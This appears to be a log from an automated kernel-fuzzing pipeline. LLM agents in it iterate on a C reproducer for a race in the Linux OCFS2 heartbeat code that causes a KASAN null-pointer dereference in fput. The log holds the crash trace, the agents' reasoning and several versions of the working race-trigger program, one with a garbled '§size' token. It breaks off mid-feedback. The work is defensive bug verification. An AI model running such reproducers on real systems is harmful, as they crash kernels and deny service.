When the reproducer later concurrently writes to the `dev` attribute, `o2hb_region_dev_store()` checks:
```c
if (o2nm_this_node() == O2NM_MAX_NODES)
return -EINVAL;
```
This causes the function to return `-EINVAL` immediately, completely bypassing the vulnerable code.
The underlying bug is a TOCTOU race condition in `o2hb_region_dev_store()`:
1. Two threads concurrently enter the function and both see `reg->hr_bdev_file == NULL`.
2. Both threads open the block device and overwrite `reg->hr_bdev_file`.
3. If the function later fails (e.g., at the `sectsize != reg->hr_block_bytes` check) and jumps to the `out` label, it executes:
```c
fput(reg->hr_bdev_file);
reg->hr_bdev_file = NULL;
```
4. One thread will set `reg->hr_bdev_file` to `NULL`, and the other thread will then read `NULL` and call `fput(NULL)`, causing the KASAN null-ptr-deref crash.
To fix the reproducer:
1. **Fix the initialization order**: Write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local` (set to 1).
2. **Force a failure path**: Ensure that the value written to `block_bytes` (e.g., 1024) is different from the logical block size of the block device (usually 512). This intentionally triggers the `sectsize != reg->hr_block_bytes` error, forcing the threads to jump to the `out` label and execute the vulnerable `fput()` logic.
3. Keep the concurrent writes to the `dev` attribute to trigger the race.
Reply: An analysis of the feedback reveals that the previous reproduction attempt failed because the OCFS2 node configuration was not initialized in the correct order.
Specifically, `o2nm_node_num_store()` requires `ipv4_address` and `ipv4_port` to be set *before* `num` can be written. Because the previous reproducer wrote `num` first, it failed, which subsequently caused the write to `local` to fail. As a result, `o2nm_this_node()` returned `O2NM_MAX_NODES`, causing `o2hb_region_dev_store()` to return `-EINVAL` early and completely bypass the vulnerable code.
To fix this, we simply need to reorder the initialization sequence: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local`. We will also use a robust `write_file` helper to ensure the writes succeed and to catch any potential errors.
Here is the updated C reproducer:
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
perror(path);
return -1;
}
if (write(fd, val, strlen(val)) < 0) {
perror(path);
close(fd);
return -1;
}
close(fd);
return 0;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
|
| 191/5 |
2026/09/04 20:59 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 6228
output: 1368
thoughts: 2040
Thoughts: **My Thought Process on Fixing the OCFS2 Reproducer**
Alright, diving into this OCFS2 reproducer, the primary goal is clear: address the feedback and ensure it reliably triggers the identified vulnerability. It's all about meticulous setup, and the feedback has been quite specific.
First and foremost, the feedback points out a critical flaw in the initialization order for the OCFS2 node configuration. The system calls that set up the node's parameters are out of sequence. It’s explicitly stated that `ipv4_address` must be written *before* `ipv4_port`, which must be before `num`, and finally `local` (set to 1). Looking at the original reproducer's `system()` calls, I can see exactly where this goes wrong:
```c
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num"); // <<< This is too early
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
```
The fix is straightforward, just a reordering of these `system` calls to match the required sequence:
```c
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address"); // <<< Correct order
system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");
```
The feedback also highlights a crucial aspect for triggering the failure path: the `block_bytes` value written to the configuration must deliberately differ from the actual logical block size of the underlying block device. The intention is to force a specific error condition (`sectsize != reg->hr_block_bytes`). This error should cause the threads to jump to the `out` label in the kernel code, which then executes the vulnerable `fput()` logic.
The original reproducer attempts this:
```c
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512; // Force it to be different
char cmd[256];
sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
system(cmd);
```
This logic seems fundamentally correct. It gets the actual sector size and then calculates a `block_bytes` value that is guaranteed to be different (if the sector size is 512, it sets `block_bytes` to 1024, and vice-versa). The use of `system()` here is a bit fragile, as it relies on the directory already existing and the command succeeding. While the directory creation is handled earlier, I’d prefer a more robust approach. Using a dedicated `write_file` helper function, which I plan to implement, would be better. This allows for error checking and is generally cleaner than constructing shell commands with `sprintf` and `system`.
With these points in mind, I'm going to construct a clean C reproducer. This will involve:
1. **Includes and Setup:** Bringing in all necessary headers (`race_toolkit.h` is assumed available and standard for these scenarios, along with others like `sys/stat.h`, `sys/ioctl.h`, `fcntl.h`, `pthread.h`, etc.). I'll also need to set up unbuffered I/O.
2. **Initial Mount and Modprobe:** Ensuring the `configfs` is mounted and the `ocfs2_nodemanager` module is loaded.
3. **Node Configuration:** This is where the corrected initialization order comes into play. I'll use the `write_file` helper to set `ipv4_address`, `ipv4_port`, `num`, and `local` in the specified sequence.
4. **Heartbeat Region Setup:** Configuring the `blocks` and `start_block` for the heartbeat region.
5. **Block Device Handling:** Opening a block device (e.g., `/dev/loop0` or `/dev/ram0`) to be used for the heartbeat region.
6. **Forcing the `block_bytes` Mismatch:** Implementing the logic to determine the correct `block_bytes` value to force the failure, again using the `write_file` helper for robustness.
7. **Race Condition Setup:** Opening the `dev` attribute for the heartbeat region *twice*. This is key to creating the race condition, as it gives each thread its own independent file descriptor and avoids potential mutex contention within the configfs layer itself.
8. **Thread Creation:** Creating two threads that will concurrently write to these independent file descriptors. This is where the actual race will occur.
9. **Execution and Timing:** Running the threads and using a timer to allow the race to manifest within a reasonable timeframe.
The core of the problem, as I understand it from the feedback, is the initialization order of the node attributes, and then the intentional mismatch of `block_bytes` to trigger a specific error path leading to the `fput()` vulnerability. By reordering the node attribute writes and ensuring the `block_bytes` mismatch is correctly implemented and robustly handled, the reproducer should now accurately reflect the described scenario. I’ll be sure to use the `write_file` helper for cleaner, more error-checked file operations.
|
| 192/3 |
2026/09/04 20:59 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An analysis of the feedback reveals that the previous reproduction attempt failed because the OCFS2 node configuration was not initialized in the correct order.
Specifically, `o2nm_node_num_store()` requires `ipv4_address` and `ipv4_port` to be set *before* `num` can be written. Because the previous reproducer wrote `num` first, it failed, which subsequently caused the write to `local` to fail. As a result, `o2nm_this_node()` returned `O2NM_MAX_NODES`, causing `o2hb_region_dev_store()` to return `-EINVAL` early and completely bypass the vulnerable code.
To fix this, we simply need to reorder the initialization sequence: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local`. We will also use a robust `write_file` helper to ensure the writes succeed and to catch any potential errors.
Here is the updated C reproducer:
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
perror(path);
return -1;
}
if (write(fd, val, strlen(val)) < 0) {
perror(path);
close(fd);
return -1;
}
close(fd);
return 0;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```]
|
| 193/3 |
2026/09/04 20:59 |
agent |
repro-generator |
0m
Model:
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
]
Instruction: You are a security researcher with deep Linux kernel background.
Your goal is to generate a minimal, standalone C program for the strictly defensive
purpose of verifying a bugfix in an isolated environment.
To ensure that we can diagnose why a program might fail to run on the test environment,
you MUST include detailed logging and error checking in the generated C program:
1. Use 'printf(...)' for all progress messages and error logs.
2. Every system call (e.g., socket, bind, listen, connect, ioctl, send) must check for a failure return value.
3. If a call fails, it must print a specific error message including the function name
and the error string (use strerror(errno)), and then exit with a non-zero status.
4. The program must print a message after every successful major step.
5. Generate code that follows this pattern for all operations:
int res = do_something();
if (res < 0) {
printf("[-] Failed to do_something: %s\n", strerror(errno));
exit(1);
}
printf("[+] do_something successful.\n");
6. The compilation and development environment (including compilers, build
systems, makefiles, and kernel build/header directories) is NOT available
on the target test VM guest. Do NOT check for, build, or reference any
compilation tools, build files, or kernel development directories.
7. Do NOT execute shell commands or run external binaries (e.g. by using
functions like 'system()', 'popen()', or the 'exec' family such as
'execve()'). All environment checks, capability probings, and reproduction
steps must be performed directly using standard Linux system calls (such
as 'open', 'socket', 'ioctl', 'stat', etc.).
8. When reproducing asynchronous kernel timeouts or warnings, always
include a sufficient delay (using sleep or similar) after deleting
or unregistering the device to allow the kernel's asynchronous
timeout to trigger before program exit.
=== PHASE 2: BUG REPRODUCTION (GENERATION) ===
You must now generate a full reproducer candidate attempting to trigger the target bug/crash.
Do NOT generate a probe program. Focus directly on triggering the bug/crash described in the description.
You can assume that all necessary kernel capabilities and privileges (e.g., access to /dev/vhci,
ability to load BPF programs, etc.) have already been verified and are available in the environment.
Do not spend too much time analyzing or trying to generate a perfect one-shot reproducer.
Instead, follow an iterative approach: generate a simple candidate, execute it, analyze the results,
and improve it. Keep your reasoning steps short and focused on the next logical experiment.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: KASAN: null-ptr-deref Write in fput
(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664
CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
<TASK>
__dump_stack lib/dump_stack.c:94 [inline]
dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:186 [inline]
kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
file_ref_put include/linux/file_ref.h:157 [inline]
fput+0x2e/0x100 fs/file_table.c:588
o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
flush_write_buffer fs/configfs/file.c:207 [inline]
configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x6ac/0x1050 fs/read_write.c:687
ksys_write+0x12a/0x250 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
</TASK>
==================================================================
Strategy: An analysis of the feedback reveals that the previous reproduction attempt failed because the OCFS2 node configuration was not initialized in the correct order.
Specifically, `o2nm_node_num_store()` requires `ipv4_address` and `ipv4_port` to be set *before* `num` can be written. Because the previous reproducer wrote `num` first, it failed, which subsequently caused the write to `local` to fail. As a result, `o2nm_this_node()` returned `O2NM_MAX_NODES`, causing `o2hb_region_dev_store()` to return `-EINVAL` early and completely bypass the vulnerable code.
To fix this, we simply need to reorder the initialization sequence: write `ipv4_address`, then `ipv4_port`, then `num`, and finally `local`. We will also use a robust `write_file` helper to ensure the writes succeed and to catch any potential errors.
Here is the updated C reproducer:
```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
PIN_TO_CPU(0);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
PIN_TO_CPU(1);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
perror(path);
return -1;
}
if (write(fd, val, strlen(val)) < 0) {
perror(path);
close(fd);
return -1;
}
close(fd);
return 0;
}
int main()
{
SETUP_UNBUFFERED_IO();
system("mount -t configfs none /sys/kernel/config 2>/dev/null");
system("modprobe ocfs2_nodemanager 2>/dev/null");
system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
// Fix initialization order: address and port must be set before num
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
perror("open block device");
return 1;
}
}
sprintf(fd_str, "%d\n", dev_fd);
fd_len = strlen(fd_str);
// Force sectsize mismatch to guarantee failure and trigger the cleanup path
int sectsize = 512;
ioctl(dev_fd, BLKSSZGET, §size);
int block_bytes = (sectsize == 512) ? 1024 : 512;
char cmd[256];
sprintf(cmd, "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", cmd);
// Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
perror("open dev attr");
return 1;
}
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 5.0)) {
sleep(1);
}
return 0;
}
```
Previous Reproducer Attempt:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sched.h>
#ifndef BLKSSZGET
#define BLKSSZGET _IO(0x12,104)
#endif
int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;
void *thread_func1(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(0, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd1, fd_str, fd_len, 0);
}
return NULL;
}
void *thread_func2(void *arg)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(1, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpu_set_t), &cpuset);
while (1) {
pwrite(dev_attr_fd2, fd_str, fd_len, 0);
}
return NULL;
}
int write_file(const char *path, const char *val) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(val);
int res = write(fd, val, len);
if (res < 0) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
printf("[+] Wrote '%s' to %s\n", val, path);
return 0;
}
int main(void) {
int res;
// 1. Mount configfs
res = mount("configfs", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted or already mounted.\n");
}
// 2. Create cluster
if (mkdir("/sys/kernel/config/cluster/mycluster", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mycluster: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mycluster.\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/node", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/node/mynode", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir mynode: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created mynode.\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/num", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port", "7777\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address", "127.0.0.1\n");
write_file("/sys/kernel/config/cluster/mycluster/node/mynode/local", "1\n");
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat", 0777) < 0 && errno != EEXIST) {
// ignore
}
if (mkdir("/sys/kernel/config/cluster/mycluster/heartbeat/myregion", 0777) < 0 && errno != EEXIST) {
printf("[-] Failed to mkdir myregion: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created myregion.\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks", "1\n");
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block", "1\n");
int dev_fd = open("/dev/loop0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/loop0: %s\n", strerror(errno));
dev_fd = open("/dev/ram0", O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open /dev/ram0: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] Opened block device, fd=%d\n", dev_fd);
snprintf(fd_str, sizeof(fd_str), "%d\n", dev_fd);
fd_len = strlen(fd_str);
int sectsize = 512;
if (ioctl(dev_fd, BLKSSZGET, §size) < 0) {
printf("[-] Failed to ioctl BLKSSZGET: %s\n", strerror(errno));
}
int block_bytes = (sectsize == 512) ? 1024 : 512;
char block_bytes_str[32];
snprintf(block_bytes_str, sizeof(block_bytes_str), "%d\n", block_bytes);
write_file("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes_str);
dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
printf("[-] Failed to open dev attr: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened dev attr twice.\n");
pthread_t t1, t2;
pthread_create(&t1, NULL, thread_func1, NULL);
pthread_create(&t2, NULL, thread_func2, NULL);
printf("[+] Threads started. Waiting for crash...\n");
sleep(5);
return 0;
}
Execution Results & Debugging Feedback:
The reproduction attempt failed to trigger the bug because the ocfs2 node was not configured correctly, causing `o2hb_region_dev_store` to return early before the race condition could occur.
From the console output:
```
